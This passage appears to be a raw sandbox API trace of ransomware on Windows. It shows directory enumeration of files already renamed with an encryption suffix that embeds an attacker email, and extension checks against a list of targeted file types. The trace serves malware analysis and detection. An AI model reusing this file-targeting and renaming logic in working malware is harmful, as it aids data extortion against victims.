ftCreationTime.dwLowDateTime=0x39d3d21a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d3d21a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d3d21a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="HEADER~1.NEW")) returned 1 [0191.950] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x3e44d3c7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~1.NEW")) returned 1 [0191.950] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x3bd79157, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~2.NEW")) returned 1 [0191.950] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3a2da735, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3a2da735, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3b0dcfc7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~3.NEW")) returned 1 [0191.950] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x3ef8aec4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~4.NEW")) returned 1 [0191.951] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3b8641f8, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3b8641f8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3b8b075d, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NE67EB~1.NEW")) returned 1 [0191.951] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3bd79157, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3bd79157, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3c31ec42, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NEF737~1.NEW")) returned 1 [0191.951] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d91719, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d91719, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39dd5c3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARAME~1.NEW")) returned 1 [0191.951] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3bdc180a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3bdc180a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3bdc180a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RGB9RA~1.NEW")) returned 1 [0191.951] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3c3456c9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3c3456c9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3d41b700, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RGB9RA~2.NEW")) returned 1 [0191.951] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3c36cc26, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3c36cc26, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3c36cc26, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPE~1.NEW")) returned 1 [0191.951] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3c394655, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3c394655, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3d49547b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPE~2.NEW")) returned 1 [0191.952] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3d41b700, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3d41b700, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3d4418ed, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPU~2.NEW")) returned 1 [0191.952] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f06df4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f06df4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f06df4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPU~1.NEW")) returned 1 [0191.952] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3da516c3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3da516c3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3da516c3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPU~3.NEW")) returned 1 [0191.952] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f2d17a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f2d17a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f2d17a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SPLASH~1.NEW")) returned 1 [0191.952] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3da782a8, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3da782a8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3da782a8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SQMAPI~1.NEW")) returned 1 [0191.952] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3a53cc14, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3a53cc14, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a53cc14, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="STRING~1.NEW")) returned 1 [0191.953] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f53441, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f53441, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f7a751, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 1 [0191.953] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f7a751, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f7a751, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f9f7e1, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WATERM~1.NEW")) returned 1 [0191.953] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x3f30de6b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~1.NEW")) returned 1 [0191.953] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x3ee6f614, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~2.NEW")) returned 1 [0191.953] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x3fd2fbc8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~3.NEW")) returned 1 [0191.953] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x3fb42df3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~4.NEW")) returned 1 [0191.954] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x3fb42df3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~4.NEW")) returned 0 [0191.954] FindClose (in: hFindFile=0x67aab8 | out: hFindFile=0x67aab8) returned 1 [0191.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e0730 | out: hHeap=0x660000) returned 1 [0191.955] FindNextFileW (in: hFindFile=0x67a5b8, lpFindFileData=0x2d0fcf8 | out: lpFindFileData=0x2d0fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0191.955] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x31e0730 [0191.956] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x751390 [0191.957] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0191.957] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xd36fe848, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xd36fe848, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0191.957] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0191.957] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0191.957] lstrlenW (lpString="BCD.LOG1") returned 8 [0191.957] lstrlenW (lpString=".1cd") returned 4 [0191.957] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0191.957] lstrlenW (lpString=".3ds") returned 4 [0191.957] lstrcmpiW (lpString1=".3ds", lpString2="LOG1") returned -1 [0191.957] lstrlenW (lpString=".3fr") returned 4 [0191.957] lstrcmpiW (lpString1=".3fr", lpString2="LOG1") returned -1 [0191.957] lstrlenW (lpString=".3g2") returned 4 [0191.957] lstrcmpiW (lpString1=".3g2", lpString2="LOG1") returned -1 [0191.957] lstrlenW (lpString=".3gp") returned 4 [0191.957] lstrcmpiW (lpString1=".3gp", lpString2="LOG1") returned -1 [0191.958] lstrlenW (lpString=".7z") returned 3 [0191.958] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0191.958] lstrlenW (lpString=".accda") returned 6 [0191.958] lstrcmpiW (lpString1=".accda", lpString2="D.LOG1") returned -1 [0191.958] lstrlenW (lpString=".accdb") returned 6 [0191.958] lstrcmpiW (lpString1=".accdb", lpString2="D.LOG1") returned -1 [0191.958] lstrlenW (lpString=".accdc") returned 6 [0191.958] lstrcmpiW (lpString1=".accdc", lpString2="D.LOG1") returned -1 [0191.958] lstrlenW (lpString=".accde") returned 6 [0191.958] lstrcmpiW (lpString1=".accde", lpString2="D.LOG1") returned -1 [0191.958] lstrlenW (lpString=".accdt") returned 6 [0191.958] lstrcmpiW (lpString1=".accdt", lpString2="D.LOG1") returned -1 [0191.958] lstrlenW (lpString=".accdw") returned 6 [0191.958] lstrcmpiW (lpString1=".accdw", lpString2="D.LOG1") returned -1 [0191.958] lstrlenW (lpString=".adb") returned 4 [0191.958] lstrcmpiW (lpString1=".adb", lpString2="LOG1") returned -1 [0191.958] lstrlenW (lpString=".adp") returned 4 [0191.958] lstrcmpiW (lpString1=".adp", lpString2="LOG1") returned -1 [0191.958] lstrlenW (lpString=".ai") returned 3 [0191.958] lstrcmpiW (lpString1=".ai", lpString2="OG1") returned -1 [0191.958] lstrlenW (lpString=".ai3") returned 4 [0191.958] lstrcmpiW (lpString1=".ai3", lpString2="LOG1") returned -1 [0191.958] lstrlenW (lpString=".ai4") returned 4 [0191.958] lstrcmpiW (lpString1=".ai4", lpString2="LOG1") returned -1 [0191.958] lstrlenW (lpString=".ai5") returned 4 [0191.958] lstrcmpiW (lpString1=".ai5", lpString2="LOG1") returned -1 [0191.958] lstrlenW (lpString=".ai6") returned 4 [0191.958] lstrcmpiW (lpString1=".ai6", lpString2="LOG1") returned -1 [0191.958] lstrlenW (lpString=".ai7") returned 4 [0191.959] lstrcmpiW (lpString1=".ai7", lpString2="LOG1") returned -1 [0191.959] lstrlenW (lpString=".ai8") returned 4 [0191.959] lstrcmpiW (lpString1=".ai8", lpString2="LOG1") returned -1 [0191.959] lstrlenW (lpString=".anim") returned 5 [0191.959] lstrcmpiW (lpString1=".anim", lpString2=".LOG1") returned -1 [0191.959] lstrlenW (lpString=".arw") returned 4 [0191.959] lstrcmpiW (lpString1=".arw", lpString2="LOG1") returned -1 [0191.959] lstrlenW (lpString=".as") returned 3 [0191.959] lstrcmpiW (lpString1=".as", lpString2="OG1") returned -1 [0191.959] lstrlenW (lpString=".asa") returned 4 [0191.959] lstrcmpiW (lpString1=".asa", lpString2="LOG1") returned -1 [0191.959] lstrlenW (lpString=".asc") returned 4 [0191.959] lstrcmpiW (lpString1=".asc", lpString2="LOG1") returned -1 [0191.959] lstrlenW (lpString=".ascx") returned 5 [0191.959] lstrcmpiW (lpString1=".ascx", lpString2=".LOG1") returned -1 [0191.959] lstrlenW (lpString=".asm") returned 4 [0191.959] lstrcmpiW (lpString1=".asm", lpString2="LOG1") returned -1 [0191.959] lstrlenW (lpString=".asmx") returned 5 [0191.959] lstrcmpiW (lpString1=".asmx", lpString2=".LOG1") returned -1 [0191.959] lstrlenW (lpString=".asp") returned 4 [0191.959] lstrcmpiW (lpString1=".asp", lpString2="LOG1") returned -1 [0191.959] lstrlenW (lpString=".aspx") returned 5 [0191.959] lstrcmpiW (lpString1=".aspx", lpString2=".LOG1") returned -1 [0191.959] lstrlenW (lpString=".asr") returned 4 [0191.959] lstrcmpiW (lpString1=".asr", lpString2="LOG1") returned -1 [0191.959] lstrlenW (lpString=".asx") returned 4 [0191.959] lstrcmpiW (lpString1=".asx", lpString2="LOG1") returned -1 [0191.959] lstrlenW (lpString=".avi") returned 4 [0191.960] lstrcmpiW (lpString1=".avi", lpString2="LOG1") returned -1 [0191.960] lstrlenW (lpString=".avs") returned 4 [0191.960] lstrcmpiW (lpString1=".avs", lpString2="LOG1") returned -1 [0191.960] lstrlenW (lpString=".backup") returned 7 [0191.960] lstrcmpiW (lpString1=".backup", lpString2="CD.LOG1") returned -1 [0191.960] lstrlenW (lpString=".bak") returned 4 [0191.960] lstrcmpiW (lpString1=".bak", lpString2="LOG1") returned -1 [0191.960] lstrlenW (lpString=".bay") returned 4 [0191.960] lstrcmpiW (lpString1=".bay", lpString2="LOG1") returned -1 [0191.960] lstrlenW (lpString=".bd") returned 3 [0191.960] lstrcmpiW (lpString1=".bd", lpString2="OG1") returned -1 [0191.960] lstrlenW (lpString=".bin") returned 4 [0191.960] lstrcmpiW (lpString1=".bin", lpString2="LOG1") returned -1 [0191.960] lstrlenW (lpString=".bmp") returned 4 [0191.960] lstrcmpiW (lpString1=".bmp", lpString2="LOG1") returned -1 [0191.960] lstrlenW (lpString=".bz2") returned 4 [0191.960] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0191.960] lstrlenW (lpString=".c") returned 2 [0191.960] lstrcmpiW (lpString1=".c", lpString2="G1") returned -1 [0191.960] lstrlenW (lpString=".cdr") returned 4 [0191.960] lstrcmpiW (lpString1=".cdr", lpString2="LOG1") returned -1 [0191.960] lstrlenW (lpString=".cer") returned 4 [0191.960] lstrcmpiW (lpString1=".cer", lpString2="LOG1") returned -1 [0191.960] lstrlenW (lpString=".cf") returned 3 [0191.960] lstrcmpiW (lpString1=".cf", lpString2="OG1") returned -1 [0191.960] lstrlenW (lpString=".cfc") returned 4 [0191.960] lstrcmpiW (lpString1=".cfc", lpString2="LOG1") returned -1 [0191.960] lstrlenW (lpString=".cfm") returned 4 [0191.960] lstrcmpiW (lpString1=".cfm", lpString2="LOG1") returned -1 [0191.961] lstrlenW (lpString=".cfml") returned 5 [0191.961] lstrcmpiW (lpString1=".cfml", lpString2=".LOG1") returned -1 [0191.961] lstrlenW (lpString=".cfu") returned 4 [0191.961] lstrcmpiW (lpString1=".cfu", lpString2="LOG1") returned -1 [0191.961] lstrlenW (lpString=".chm") returned 4 [0191.961] lstrcmpiW (lpString1=".chm", lpString2="LOG1") returned -1 [0191.961] lstrlenW (lpString=".cin") returned 4 [0191.961] lstrcmpiW (lpString1=".cin", lpString2="LOG1") returned -1 [0191.961] lstrlenW (lpString=".class") returned 6 [0191.961] lstrcmpiW (lpString1=".class", lpString2="D.LOG1") returned -1 [0191.961] lstrlenW (lpString=".clx") returned 4 [0191.961] lstrcmpiW (lpString1=".clx", lpString2="LOG1") returned -1 [0191.961] lstrlenW (lpString=".config") returned 7 [0191.961] lstrcmpiW (lpString1=".config", lpString2="CD.LOG1") returned -1 [0191.961] lstrlenW (lpString=".cpp") returned 4 [0191.961] lstrcmpiW (lpString1=".cpp", lpString2="LOG1") returned -1 [0191.961] lstrlenW (lpString=".cr2") returned 4 [0191.961] lstrcmpiW (lpString1=".cr2", lpString2="LOG1") returned -1 [0191.961] lstrlenW (lpString=".crt") returned 4 [0191.961] lstrcmpiW (lpString1=".crt", lpString2="LOG1") returned -1 [0191.961] lstrlenW 